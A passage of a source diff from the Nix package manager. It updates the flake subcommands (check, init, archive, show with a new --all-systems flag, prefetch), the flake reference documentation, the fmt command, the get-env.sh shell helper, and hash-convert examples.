== "defaultBundler") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); - checkBundler( - fmt("%s.%s", name, attr_name), - *attr.value, attr.pos); + if (checkSystemType(attr_name, attr.pos)) { + checkBundler( + fmt("%s.%s", name, attr_name), + *attr.value, attr.pos); + }; } } else if (name == "bundlers") { - state->forceAttrs(vOutput, pos); - for (auto & attr : *vOutput.attrs) { + state->forceAttrs(vOutput, pos, ""); + for (auto & attr : *vOutput.attrs()) { const auto & attr_name = state->symbols[attr.name]; checkSystemName(attr_name, attr.pos); - state->forceAttrs(*attr.value, attr.pos); - for (auto & attr2 : *attr.value->attrs) { - checkBundler( - fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), - *attr2.value, attr2.pos); - } + if (checkSystemType(attr_name, attr.pos)) { + state->forceAttrs(*attr.value, attr.pos, ""); + for (auto & attr2 : *attr.value->attrs()) { + checkBundler( + fmt("%s.%s.%s", name, attr_name, state->symbols[attr2.name]), + *attr2.value, attr2.pos); + } + }; } } + else if ( + name == "lib" + || name == "darwinConfigurations" + || name == "darwinModules" + || name == "flakeModule" + || name == "flakeModules" + || name == "herculesCI" + || name == "homeConfigurations" + || name == "homeModule" + || name == "homeModules" + || name == "nixopsConfigurations" + ) + // Known but unchecked community attribute + ; + else warn("unknown flake output '%s'", name); } catch (Error & e) { - e.addTrace(resolve(pos), hintfmt("while checking flake output '%s'", name)); + e.addTrace(resolve(pos), HintFmt("while checking flake output '%s'", name)); reportError(e); } }); } if (build && !drvPaths.empty()) { - Activity act(*logger, lvlInfo, actUnknown, "running flake checks"); + Activity act(*logger, lvlInfo, actUnknown, + fmt("running %d flake checks", drvPaths.size())); store->buildPaths(drvPaths); } if (hasErrors) throw Error("some errors were encountered during the evaluation"); - } + + if (!omittedSystems.empty()) { + // TODO: empty system is not visible; render all as nix strings? + warn( + "The check omitted these incompatible systems: %s\n" + "Use '--all-systems' to check all.", + concatStringsSep(", ", omittedSystems) + ); + }; + }; }; static Strings defaultTemplateAttrPathsPrefixes{"templates."}; @@ -705,8 +861,9 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand .description = "The template to use.", .labels = {"template"}, .handler = {&templateUrl}, - .completer = {[&](size_t, std::string_view prefix) { + .completer = {[&](AddCompletions & completions, size_t, std::string_view prefix) { completeFlakeRefWithFragment( + completions, getEvalState(), lockFlags, defaultTemplateAttrPathsPrefixes, @@ -722,10 +879,11 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand auto evalState = getEvalState(); - auto [templateFlakeRef, templateName] = parseFlakeRefWithFragment(templateUrl, absPath(".")); + auto [templateFlakeRef, templateName] = parseFlakeRefWithFragment( + fetchSettings, templateUrl, absPath(".")); auto installable = InstallableFlake(nullptr, - evalState, std::move(templateFlakeRef), templateName, DefaultOutputs(), + evalState, std::move(templateFlakeRef), templateName, ExtendedOutputsSpec::Default(), defaultTemplateAttrPaths, defaultTemplateAttrPathsPrefixes, lockFlags); @@ -736,51 +894,53 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand auto templateDir = templateDirAttr->getString(); if (!store->isInStore(templateDir)) - throw TypeError( + evalState->error( "'%s' was not found in the Nix store\n" "If you've set '%s' to a string, try using a path instead.", - templateDir, templateDirAttr->getAttrPathStr()); + templateDir, templateDirAttr->getAttrPathStr()).debugThrow(); - std::vector changedFiles; - std::vector conflictedFiles; + std::vector changedFiles; + std::vector conflictedFiles; - std::function copyDir; - copyDir = [&](const Path & from, const Path & to) + std::function copyDir; + copyDir = [&](const fs::path & from, const fs::path & to) { - createDirs(to); + fs::create_directories(to); - for (auto & entry : readDirectory(from)) { - auto from2 = from + "/" + entry.name; - auto to2 = to + "/" + entry.name; - auto st = lstat(from2); - if (S_ISDIR(st.st_mode)) + for (auto & entry : fs::directory_iterator{from}) { + checkInterrupt(); + auto from2 = entry.path(); + auto to2 = to / entry.path().filename(); + auto st = entry.symlink_status(); + auto to_st = fs::symlink_status(to2); + if (fs::is_directory(st)) copyDir(from2, to2); - else if (S_ISREG(st.st_mode)) { - auto contents = readFile(from2); - if (pathExists(to2)) { - auto contents2 = readFile(to2); + else if (fs::is_regular_file(st)) { + auto contents = readFile(from2.string()); + if (fs::exists(to_st)) { + auto contents2 = readFile(to2.string()); if (contents != contents2) { - printError("refusing to overwrite existing file '%s'\n please merge it manually with '%s'", to2, from2); + printError("refusing to overwrite existing file '%s'\n please merge it manually with '%s'", to2.string(), from2.string()); conflictedFiles.push_back(to2); } else { notice("skipping identical file: %s", from2); } continue; } else - writeFile(to2, contents); + writeFile(to2.string(), contents); } - else if (S_ISLNK(st.st_mode)) { - auto target = readLink(from2); - if (pathExists(to2)) { - if (readLink(to2) != target) { - printError("refusing to overwrite existing file '%s'\n please merge it manually with '%s'", to2, from2); + else if (fs::is_symlink(st)) { + auto target = fs::read_symlink(from2); + if (fs::exists(to_st)) { + if (fs::read_symlink(to2) != target) { + printError("refusing to overwrite existing file '%s'\n please merge it manually with '%s'", to2.string(), from2.string()); conflictedFiles.push_back(to2); } else { notice("skipping identical file: %s", from2); } continue; } else - createSymlink(target, to2); + fs::create_symlink(target, to2); } else throw Error("file '%s' has unsupported type", from2); @@ -791,9 +951,9 @@ struct CmdFlakeInitCommon : virtual Args, EvalCommand copyDir(templateDir, flakeDir); - if (!changedFiles.empty() && pathExists(flakeDir + "/.git")) { + if (!changedFiles.empty() && fs::exists(std::filesystem::path{flakeDir} / ".git")) { Strings args = { "-C", flakeDir, "add", "--intent-to-add", "--force", "--" }; - for (auto & s : changedFiles) args.push_back(s); + for (auto & s : changedFiles) args.emplace_back(s.string()); runProgram("git", true, args); } auto welcomeText = cursor->maybeGetAttr("welcomeText"); @@ -919,7 +1079,9 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun StorePathSet sources; - sources.insert(flake.flake.sourceInfo->storePath); + auto storePath = store->toStorePath(flake.flake.path.path.abs()).first; + + sources.insert(storePath); // FIXME: use graph output, handle cycles. std::function traverse; @@ -931,7 +1093,7 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun auto storePath = dryRun ? (*inputNode)->lockedRef.input.computeStorePath(*store) - : (*inputNode)->lockedRef.input.fetch(store).first.storePath; + : (*inputNode)->lockedRef.input.fetchToStore(store).first; if (json) { auto& jsonObj3 = jsonObj2[inputName]; jsonObj3["path"] = store->printStorePath(storePath); @@ -948,10 +1110,10 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun if (json) { nlohmann::json jsonRoot = { - {"path", store->printStorePath(flake.flake.sourceInfo->storePath)}, + {"path", store->printStorePath(storePath)}, {"inputs", traverse(*flake.lockFile.root)}, }; - std::cout << jsonRoot.dump() << std::endl; + logger->cout("%s", jsonRoot); } else { traverse(*flake.lockFile.root); } @@ -966,6 +1128,7 @@ struct CmdFlakeArchive : FlakeCommand, MixJSON, MixDryRun struct CmdFlakeShow : FlakeCommand, MixJSON { bool showLegacy = false; + bool showAllSystems = false; CmdFlakeShow() { @@ -974,6 +1137,11 @@ struct CmdFlakeShow : FlakeCommand, MixJSON .description = "Show the contents of the `legacyPackages` output.", .handler = {&showLegacy, true} }); + addFlag({ + .longName = "all-systems", + .description = "Show the contents of outputs for all systems.", + .handler = {&showAllSystems, true} + }); } std::string description() override @@ -994,6 +1162,69 @@ struct CmdFlakeShow : FlakeCommand, MixJSON auto state = getEvalState(); auto flake = std::make_shared(lockFlake()); + auto localSystem = std::string(settings.thisSystem.get()); + + std::function &attrPath, + const Symbol &attr)> hasContent; + + // For frameworks it's important that structures are as lazy as possible + // to prevent infinite recursions, performance issues and errors that + // aren't related to the thing to evaluate. As a consequence, they have + // to emit more attributes than strictly (sic) necessary. + // However, these attributes with empty values are not useful to the user + // so we omit them. + hasContent = [&]( + eval_cache::AttrCursor & visitor, + const std::vector &attrPath, + const Symbol &attr) -> bool + { + auto attrPath2(attrPath); + attrPath2.push_back(attr); + auto attrPathS = state->symbols.resolve(attrPath2); + const auto & attrName = state->symbols[attr]; + + auto visitor2 = visitor.getAttr(attrName); + + try { + if ((attrPathS[0] == "apps" + || attrPathS[0] == "checks" + || attrPathS[0] == "devShells" + || attrPathS[0] == "legacyPackages" + || attrPathS[0] == "packages") + && (attrPathS.size() == 1 || attrPathS.size() == 2)) { + for (const auto &subAttr : visitor2->getAttrs()) { + if (hasContent(*visitor2, attrPath2, subAttr)) { + return true; + } + } + return false; + } + + if ((attrPathS.size() == 1) + && (attrPathS[0] == "formatter" + || attrPathS[0] == "nixosConfigurations" + || attrPathS[0] == "nixosModules" + || attrPathS[0] == "overlays" + )) { + for (const auto &subAttr : visitor2->getAttrs()) { + if (hasContent(*visitor2, attrPath2, subAttr)) { + return true; + } + } + return false; + } + + // If we don't recognize it, it's probably content + return true; + } catch (EvalError & e) { + // Some attrs may contain errors, e.g. legacyPackages of + // nixpkgs. We still want to recurse into it, instead of + // skipping it at all. + return true; + } + }; std::functioncout("%s", headerPrefix); - auto attrs = visitor.getAttrs(); + std::vector attrs; + for (const auto &attr : visitor.getAttrs()) { + if (hasContent(visitor, attrPath, attr)) + attrs.push_back(attr); + } + for (const auto & [i, attr] : enumerate(attrs)) { const auto & attrName = state->symbols[attr]; bool last = i + 1 == attrs.size(); @@ -1037,25 +1273,97 @@ struct CmdFlakeShow : FlakeCommand, MixJSON auto showDerivation = [&]() { auto name = visitor.getAttr(state->sName)->getString(); + std::optional description; + if (auto aMeta = visitor.maybeGetAttr(state->sMeta)) { + if (auto aDescription = aMeta->maybeGetAttr(state->sDescription)) + description = aDescription->getString(); + } + if (json) { - std::optional description; - if (auto aMeta = visitor.maybeGetAttr(state->sMeta)) { - if (auto aDescription = aMeta->maybeGetAttr(state->sDescription)) - description = aDescription->getString(); - } j.emplace("type", "derivation"); j.emplace("name", name); - if (description) - j.emplace("description", *description); + j.emplace("description", description ? *description : ""); } else { - logger->cout("%s: %s '%s'", - headerPrefix, + auto type = attrPath.size() == 2 && attrPathS[0] == "devShell" ? "development environment" : attrPath.size() >= 2 && attrPathS[0] == "devShells" ? "development environment" : attrPath.size() == 3 && attrPathS[0] == "checks" ? "derivation" : attrPath.size() >= 1 && attrPathS[0] == "hydraJobs" ? "derivation" : - "package", - name); + "package"; + if (description && !description->empty()) { + + // Takes a string and returns the # of characters displayed + auto columnLengthOfString = [](std::string_view s) -> unsigned int { + unsigned int columnCount = 0; + for (auto i = s.begin(); i < s.end();) { + // Test first character to determine if it is one of + // treeConn, treeLast, treeLine + if (*i == -30) { + i += 3; + ++columnCount; + } + // Escape sequences + // https://en.wikipedia.org/wiki/ANSI_escape_code + else if (*i == '\e') { + // Eat '[' + if (*(++i) == '[') { + ++i; + // Eat parameter bytes + while(*i >= 0x30 && *i <= 0x3f) ++i; + + // Eat intermediate bytes + while(*i >= 0x20 && *i <= 0x2f) ++i; + + // Eat final byte + if(*i >= 0x40 && *i <= 0x73) ++i; + } + else { + // Eat Fe Escape sequence + if (*i >= 0x40 && *i <= 0x5f) ++i; + } + } + else { + ++i; + ++columnCount; + } + } + + return columnCount; + }; + + // Maximum length to print + size_t maxLength = getWindowSize().second > 0 ? getWindowSize().second : 80; + + // Trim the description and only use the first line + auto trimmed = trim(*description); + auto newLinePos = trimmed.find('\n'); + auto length = newLinePos != std::string::npos ? newLinePos : trimmed.length(); + + auto beginningOfLine = fmt("%s: %s '%s'", headerPrefix, type, name); + auto line = fmt("%s: %s '%s' - '%s'", headerPrefix, type, name, trimmed.substr(0, length)); + + // If we are already over the maximum length then do not trim + // and don't print the description (preserves existing behavior) + if (columnLengthOfString(beginningOfLine) >= maxLength) { + logger->cout("%s", beginningOfLine); + } + // If the entire line fits then print that + else if (columnLengthOfString(line) < maxLength) { + logger->cout("%s", line); + } + // Otherwise we need to truncate + else { + auto lineLength = columnLengthOfString(line); + auto chopOff = lineLength - maxLength; + line.resize(line.length() - chopOff); + line = line.replace(line.length() - 3, 3, "..."); + + logger->cout("%s", line); + } + } + else { + logger->cout("%s: %s '%s'", headerPrefix, type, name); + } } }; @@ -1084,10 +1392,18 @@ struct CmdFlakeShow : FlakeCommand, MixJSON || (attrPath.size() == 3 && (attrPathS[0] == "checks" || attrPathS[0] == "packages" || attrPathS[0] == "devShells")) ) { - if (visitor.isDerivation()) - showDerivation(); - else - throw Error("expected a derivation"); + if (!showAllSystems && std::string(attrPathS[1]) != localSystem) { + if (!json) + logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--all-systems' to show)", headerPrefix)); + else { + logger->warn(fmt("%s omitted (use '--all-systems' to show)", concatStringsSep(".", attrPathS))); + } + } else { + if (visitor.isDerivation()) + showDerivation(); + else + throw Error("expected a derivation"); + } } else if (attrPath.size() > 0 && attrPathS[0] == "hydraJobs") { @@ -1106,6 +1422,12 @@ struct CmdFlakeShow : FlakeCommand, MixJSON else { logger->warn(fmt("%s omitted (use '--legacy' to show)", concatStringsSep(".", attrPathS))); } + } else if (!showAllSystems && std::string(attrPathS[1]) != localSystem) { + if (!json) + logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--all-systems' to show)", headerPrefix)); + else { + logger->warn(fmt("%s omitted (use '--all-systems' to show)", concatStringsSep(".", attrPathS))); + } } else { if (visitor.isDerivation()) showDerivation(); @@ -1120,12 +1442,19 @@ struct CmdFlakeShow : FlakeCommand, MixJSON (attrPath.size() == 3 && attrPathS[0] == "apps")) { auto aType = visitor.maybeGetAttr("type"); + std::optional description; + if (auto aMeta = visitor.maybeGetAttr(state->sMeta)) { + if (auto aDescription = aMeta->maybeGetAttr(state->sDescription)) + description = aDescription->getString(); + } if (!aType || aType->getString() != "app") - throw EvalError("not an app definition"); + state->error("not an app definition").debugThrow(); if (json) { j.emplace("type", "app"); + if (description) + j.emplace("description", *description); } else { - logger->cout("%s: app", headerPrefix); + logger->cout("%s: app: " ANSI_BOLD "%s" ANSI_NORMAL, headerPrefix, description ? *description : "no description"); } } @@ -1194,19 +1523,21 @@ struct CmdFlakePrefetch : FlakeCommand, MixJSON { auto originalRef = getFlakeRef(); auto resolvedRef = originalRef.resolve(store); - auto [tree, lockedRef] = resolvedRef.fetchTree(store); - auto hash = store->queryPathInfo(tree.storePath)->narHash; + auto [storePath, lockedRef] = resolvedRef.fetchTree(store); + auto hash = store->queryPathInfo(storePath)->narHash; if (json) { auto res = nlohmann::json::object(); - res["storePath"] = store->printStorePath(tree.storePath); - res["hash"] = hash.to_string(SRI, true); + res["storePath"] = store->printStorePath(storePath); + res["hash"] = hash.to_string(HashFormat::SRI, true); + res["original"] = fetchers::attrsToJSON(resolvedRef.toAttrs()); + res["locked"] = fetchers::attrsToJSON(lockedRef.toAttrs()); logger->cout(res.dump()); } else { notice("Downloaded '%s' to '%s' (hash '%s').", lockedRef.to_string(), - store->printStorePath(tree.storePath), - hash.to_string(SRI, true)); + store->printStorePath(storePath), + hash.to_string(HashFormat::SRI, true)); } } }; @@ -1214,7 +1545,9 @@ struct CmdFlakePrefetch : FlakeCommand, MixJSON struct CmdFlake : NixMultiCommand { CmdFlake() - : MultiCommand({ + : NixMultiCommand( + "flake", + { {"update", []() { return make_ref(); }}, {"lock", []() { return make_ref(); }}, {"metadata", []() { return make_ref(); }}, @@ -1244,11 +1577,8 @@ struct CmdFlake : NixMultiCommand void run() override { - if (!command) - throw UsageError("'nix flake' requires a sub-command."); - settings.requireExperimentalFeature(Xp::Flakes); - command->second->prepare(); - command->second->run(); + experimentalFeatureSettings.require(Xp::Flakes); + NixMultiCommand::run(); } }; diff --git a/src/nix/flake.md b/src/nix/flake.md index 810e9ebea..46d5a3867 100644 --- a/src/nix/flake.md +++ b/src/nix/flake.md @@ -54,7 +54,7 @@ output attribute). They are also allowed in the `inputs` attribute of a flake, e.g. ```nix -inputs.nixpkgs.url = github:NixOS/nixpkgs; +inputs.nixpkgs.url = "github:NixOS/nixpkgs"; ``` is equivalent to @@ -67,12 +67,15 @@ inputs.nixpkgs = { }; ``` +Following [RFC 3986](https://datatracker.ietf.org/doc/html/rfc3986#section-2.1), +characters outside of the allowed range (i.e. neither [reserved characters](https://datatracker.ietf.org/doc/html/rfc3986#section-2.2) +nor [unreserved characters](https://datatracker.ietf.org/doc/html/rfc3986#section-2.3)) +must be percent-encoded. + ### Examples Here are some examples of flake references in their URL-like representation: -* `.`: The flake in the current directory. -* `/home/alice/src/patchelf`: A flake in some other directory. * `nixpkgs`: The `nixpkgs` entry in the flake registry. * `nixpkgs/a3a3dda3bacf61e8a39258a0ed9c924eeca8e293`: The `nixpkgs` entry in the flake registry, with its Git revision overridden to a @@ -93,6 +96,35 @@ Here are some examples of flake references in their URL-like representation: * `https://github.com/NixOS/patchelf/archive/master.tar.gz`: A tarball flake. +## Path-like syntax + +Flakes corresponding to a local path can also be referred to by a direct +path reference, either `/absolute/path/to/the/flake` or`./relative/path/to/the/flake`. +Note that the leading `./` is mandatory for relative paths. If it is +omitted, the path will be interpreted as [URL-like syntax](#url-like-syntax), +which will cause error messages like this: + +```console +error: cannot find flake 'flake:relative/path/to/the/flake' in the flake registries +``` + +The semantic of such a path is as follows: + +* If the directory is part of a Git repository, then the input will be treated as a `git+file:` URL, otherwise it will be treated as a `path:` url; +* If the directory doesn't contain a `flake.nix` file, then Nix will search for such a file upwards in the file system hierarchy until it finds any of: + 1. The Git repository root, or + 2. The filesystem root (/), or + 3. A folder on a different mount point. + +Contrary to URL-like references, path-like flake references can contain arbitrary unicode characters (except `#` and `?`). + +### Examples + +* `.`: The flake to which the current directory belongs to. +* `/home/alice/src/patchelf`: A flake in some other directory. +* `./../sub directory/with Ûñî©ôδ€`: A flake in another relative directory that + has Unicode characters in its name. + ## Flake reference attributes The following generic flake reference attributes are supported: @@ -102,7 +134,9 @@ The following generic flake reference attributes are supported: repository or tarball. The default is the root directory of the flake. -* `narHash`: The hash of the NAR serialisation (in SRI format) of the +* `narHash`: The hash of the + [Nix Archive (NAR) serialisation][Nix Archive] + (in SRI format) of the contents of the flake. This is useful for flake types such as tarballs that lack a unique content identifier such as a Git commit hash. @@ -129,18 +163,39 @@ can occur in *locked* flake references and are available to Nix code: Currently the `type` attribute can be one of the following: -* `path`: arbitrary local directories, or local Git trees. The - required attribute `path` specifies the path of the flake. The URL - form is +* `indirect`: *The default*. Indirection through the flake registry. + These have the form ``` - [path:](\?(/(/rev)?)? ``` - where *path* is an absolute path. + These perform a lookup of `` in the flake registry. For + example, `nixpkgs` and `nixpkgs/release-20.09` are indirect flake + references. The specified `rev` and/or `ref` are merged with the + entry in the registry; see [nix registry](./nix3-registry.md) for + details. - *path* must be a directory in the file system containing a file - named `flake.nix`. + For example, these are valid indirect flake references: + + * `nixpkgs` + * `nixpkgs/nixos-unstable` + * `nixpkgs/a3a3dda3bacf61e8a39258a0ed9c924eeca8e293` + * `nixpkgs/nixos-unstable/a3a3dda3bacf61e8a39258a0ed9c924eeca8e293` + * `sub/dir` (if a flake named `sub` is in the registry) + +* `path`: arbitrary local directories. The required attribute `path` + specifies the path of the flake. The URL form is + + ``` + path:(\?)? + ``` + + where *path* is an absolute path to a directory in the file system + containing a file named `flake.nix`. + + If the flake at *path* is not inside a git repository, the `path:` + prefix is implied and can be omitted. *path* generally must be an absolute path. However, on the command line, it can be a relative path (e.g. `.` or `./foo`) which is @@ -149,15 +204,25 @@ Currently the `type` attribute can be one of the following: (e.g. `nixpkgs` is a registry lookup; `./nixpkgs` is a relative path). + For example, these are valid path flake references: + + * `path:/home/user/sub/dir` + * `/home/user/sub/dir` (if `dir/flake.nix` is *not* in a git repository) + * `./sub/dir` (when used on the command line and `dir/flake.nix` is *not* in a git repository) + * `git`: Git repositories. The location of the repository is specified by the attribute `url`. They have the URL form ``` - git(+http|+https|+ssh|+git|+file|):(//)?(\?)? + git(+http|+https|+ssh|+git|+file):(//)?(\?)? ``` + If *path* starts with `/` (or `./` when used as an argument on the + command line) and is a local path to a git repository, the leading + `git:` or `+file` prefixes are implied and can be omitted. + The `ref` attribute defaults to resolving the `HEAD` reference. The `rev` attribute must denote a commit that exists in the branch @@ -173,6 +238,9 @@ Currently the `type` attribute can be one of the following: For example, the following are valid Git flake references: + * `git:/home/user/sub/dir` + * `/home/user/sub/dir` (if `dir/flake.nix` is in a git repository) + * `./sub/dir` (when used on the command line and `dir/flake.nix` is in a git repository) * `git+https://example.org/my/repo` * `git+https://example.org/my/repo?dir=flake1` * `git+ssh://git@github.com/NixOS/nix?ref=v1.2.3` @@ -191,6 +259,8 @@ Currently the `type` attribute can be one of the following: `.tgz`, `.tar.gz`, `.tar.xz`, `.tar.bz2` or `.tar.zst`), then the `tarball+` can be dropped. + This can also be used to set the location of gitea/forgejo branches. [See here](@docroot@/protocols/tarball-fetcher.md#gitea-and-forgejo-support) + * `file`: Plain files or directory tarballs, either over http(s) or from the local disk. @@ -221,11 +291,46 @@ Currently the `type` attribute can be one of the following: commit hash (`rev`). Note that unlike Git, GitHub allows fetching by commit hash without specifying a branch or tag. + You can also specify `host` as a parameter, to point to a custom GitHub + Enterprise server. + Some examples: * `github:edolstra/dwarffs` * `github:edolstra/dwarffs/unstable` * `github:edolstra/dwarffs/d3f2baba8f425779026c6ec04021b2e927f61e31` + * `github:internal/project?host=company-github.example.org` + +* `gitlab`: Similar to `github`, is a more efficient way to fetch + GitLab repositories. The following attributes are required: + + * `owner`: The owner of the repository. + + * `repo`: The name of the repository. + + Like `github`, these are downloaded as tarball archives. + + The URL syntax for `gitlab` flakes is: + + `gitlab:/(/)?(\?)?` + + `` works the same as `github`. Either a branch or tag name + (`ref`), or a commit hash (`rev`) can be specified. + + Since GitLab allows for self-hosting, you can specify `host` as + a parameter, to point to any instances other than `gitlab.com`. + + Some examples: + + * `gitlab:veloren/veloren` + * `gitlab:veloren/veloren/master` + * `gitlab:veloren/veloren/80a4d7f13492d916e47d6195be23acae8001985a` + * `gitlab:openldap/openldap?host=git.openldap.org` + + When accessing a project in a (nested) subgroup, make sure to URL-encode any + slashes, i.e. replace `/` with `%2F`: + + * `gitlab:veloren%2Fdev/rfcs` * `sourcehut`: Similar to `github`, is a more efficient way to fetch SourceHut repositories. The following attributes are required: @@ -259,30 +364,17 @@ Currently the `type` attribute can be one of the following: * `sourcehut:~misterio/nix-colors/182b4b8709b8ffe4e9774a4c5d6877bf6bb9a21c` * `sourcehut:~misterio/nix-colors/21c1a380a6915d890d408e9f22203436a35bb2de?host=hg.sr.ht` -* `indirect`: Indirections through the flake registry. These have the - form - - ``` - [flake:](/(/rev)?)? - ``` - - These perform a lookup of `` in the flake registry. For - example, `nixpkgs` and `nixpkgs/release-20.09` are indirect flake - references. The specified `rev` and/or `ref` are merged with the - entry in the registry; see [nix registry](./nix3-registry.md) for - details. - # Flake format As an example, here is a simple `flake.nix` that depends on the -Nixpkgs flake and provides a single package (i.e. an installable -derivation): +Nixpkgs flake and provides a single package (i.e. an +[installable](./nix.md#installables) derivation): ```nix { description = "A flake for building Hello World"; - inputs.nixpkgs.url = github:NixOS/nixpkgs/nixos-20.03; + inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-20.03"; outputs = { self, nixpkgs }: { @@ -317,6 +409,8 @@ The following attributes are supported in `flake.nix`: also contains some metadata about the inputs. These are: * `outPath`: The path in the Nix store of the flake's source tree. + This way, the attribute set can be passed to `import` as if it was a path, + as in the example above (`import nixpkgs`). * `rev`: The commit hash of the flake's repository, if applicable. @@ -333,8 +427,9 @@ The following attributes are supported in `flake.nix`: * `lastModified`: The commit time of the revision `rev` as an integer denoting the number of seconds since 1970. - * `narHash`: The SHA-256 (in SRI format) of the NAR serialization of - the flake's source tree. + * `narHash`: The SHA-256 (in SRI format) of the + [Nix Archive (NAR) serialisation][Nix Archive] + NAR serialization of the flake's source tree. The value returned by the `outputs` function must be an attribute set. The attributes can have arbitrary values; however, various @@ -344,10 +439,12 @@ The following attributes are supported in `flake.nix`: * `nixConfig`: a set of `nix.conf` options to be set when evaluating any part of a flake. In the interests of security, only a small set of - whitelisted options (currently `bash-prompt`, `bash-prompt-prefix`, - `bash-prompt-suffix`, and `flake-registry`) are allowed to be set without - confirmation so long as `accept-flake-config` is not set in the global - configuration. + set of options is allowed to be set without confirmation so long as [`accept-flake-config`](@docroot@/command-ref/conf-file.md#conf-accept-flake-config) is not enabled in the global configuration: + - [`bash-prompt`](@docroot@/command-ref/conf-file.md#conf-bash-prompt) + - [`bash-prompt-prefix`](@docroot@/command-ref/conf-file.md#conf-bash-prompt-prefix) + - [`bash-prompt-suffix`](@docroot@/command-ref/conf-file.md#conf-bash-prompt-suffix) + - [`flake-registry`](@docroot@/command-ref/conf-file.md#conf-flake-registry) + - [`commit-lock-file-summary`](@docroot@/command-ref/conf-file.md#conf-commit-lock-file-summary) ## Flake inputs @@ -374,7 +471,7 @@ inputs.nixpkgs = { Alternatively, you can use the URL-like syntax: ```nix -inputs.import-cargo.url = github:edolstra/import-cargo; +inputs.import-cargo.url = "github:edolstra/import-cargo"; inputs.nixpkgs.url = "nixpkgs"; ``` @@ -611,4 +708,5 @@ will not look at the lock files of dependencies. However, lock file generation itself *does* use the lock files of dependencies by default. +[Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive )"" diff --git a/src/nix/fmt.cc b/src/nix/fmt.cc index 6f6a4a632..d65834495 100644 --- a/src/nix/fmt.cc +++ b/src/nix/fmt.cc @@ -1,4 +1,6 @@ #include "command.hh" +#include "installable-value.hh" +#include "eval.hh" #include "run.hh" using namespace nix; @@ -31,8 +33,9 @@ struct CmdFmt : SourceExprCommand { auto evalState = getEvalState(); auto evalStore = getEvalStore(); - auto installable = parseInstallable(store, "."); - auto app = installable->toApp(*evalState).resolve(evalStore, store); + auto installable_ = parseInstallable(store, "."); + auto & installable = InstallableValue::require(*installable_); + auto app = installable.toApp(*evalState).resolve(evalStore, store); Strings programArgs{app.program}; @@ -47,7 +50,11 @@ struct CmdFmt : SourceExprCommand { } } - runProgramInStore(store, app.program, programArgs); + // Release our references to eval caches to ensure they are persisted to disk, because + // we are about to exec out of this process without running C++ destructors. + evalState->evalCaches.clear(); + + execProgramInStore(store, UseLookupPath::DontUse, app.program, programArgs); }; }; diff --git a/src/nix/get-env.sh b/src/nix/get-env.sh index a7a8a01b9..071edf9b9 100644 --- a/src/nix/get-env.sh +++ b/src/nix/get-env.sh @@ -1,5 +1,5 @@ set -e -if [ -e .attrs.sh ]; then source .attrs.sh; fi +if [ -e "$NIX_ATTRS_SH_FILE" ]; then source "$NIX_ATTRS_SH_FILE"; fi export IN_NIX_SHELL=impure export dontAddDisableDepTrack=1 @@ -101,7 +101,21 @@ __dumpEnv() { printf "}" done < <(printf "%s\n" "$__vars") - printf '\n }\n}' + printf '\n }' + + if [ -e "$NIX_ATTRS_SH_FILE" ]; then + printf ',\n "structuredAttrs": {\n ' + __escapeString ".attrs.sh" + printf ': ' + __escapeString "$(<"$NIX_ATTRS_SH_FILE")" + printf ',\n ' + __escapeString ".attrs.json" + printf ': ' + __escapeString "$(<"$NIX_ATTRS_JSON_FILE")" + printf '\n }' + fi + + printf '\n}' } __escapeString() { @@ -114,20 +128,25 @@ __escapeString() { printf '"%s"' "$__s" } -# In case of `__structuredAttrs = true;` the list of outputs is an associative -# array with a format like `outname => /nix/store/hash-drvname-outname`, so `__olist` -# must contain the array's keys (hence `${!...[@]}`) in this case. -if [ -e .attrs.sh ]; then - __olist="${!outputs[@]}" -else - __olist=$outputs -fi - -for __output in $__olist; do - if [[ -z $__done ]]; then - __dumpEnv > ${!__output} +__dumpEnvToOutput() { + local __output="$1" + if [[ -z ${__done-} ]]; then + __dumpEnv > "$__output" __done=1 else - echo -n >> "${!__output}" + echo -n >> "$__output" fi -done +} + +# In case of `__structuredAttrs = true;` the list of outputs is an associative +# array with a format like `outname => /nix/store/hash-drvname-outname`. +# Otherwise it is a space-separated list of output variable names. +if [ -e "$NIX_ATTRS_SH_FILE" ]; then + for __output in "${outputs[@]}"; do + __dumpEnvToOutput "$__output" + done +else + for __outname in $outputs; do + __dumpEnvToOutput "${!__outname}" + done +fi diff --git a/src/nix/hash-convert.md b/src/nix/hash-convert.md new file mode 100644 index 000000000..dfb215443 --- /dev/null +++ b/src/nix/hash-convert.md @@ -0,0 +1,40 @@ +R""( + +# Examples + +* Convert a hash to `nix32` (a base-32 encoding with a Nix-specific character set). + + ```console + $ nix hash convert --hash-algo sha1 --to nix32 800d59cfcd3c05e900cb4e214be48f6b886a08df + vw46m23bizj4n8afrc0fj19wrp7mj3c0 + ``` + +* Convert a hash to [the `sri` format](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity) that includes an algorithm specification: + + ```console + # nix hash convert --hash-algo sha1 800d59cfcd3c05e900cb4e214be48f6b886a08df + sha1-gA1Zz808BekAy04hS+SPa4hqCN8= + ``` + + or with an explicit `--to` format: + + ```console + # nix hash convert --hash-algo sha1 --to sri 800d59cfcd3c05e900cb4e214be48f6b886a08df + sha1-gA1Zz808BekAy04hS+SPa4hqCN8= + ``` + +* Assert the input format of the hash: + + ```console + # nix hash convert --hash-algo sha256 --from nix32 ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0= + error: input hash 'ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=' does not have the expected format '--from nix32' + + # nix hash convert --hash-algo sha256 --from nix32 1b8m03r63zqhnjf7l5wnldhh7c134ap5vpj0850ymkq1iyzicy5s + sha256-ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0= + ``` + +# Description + 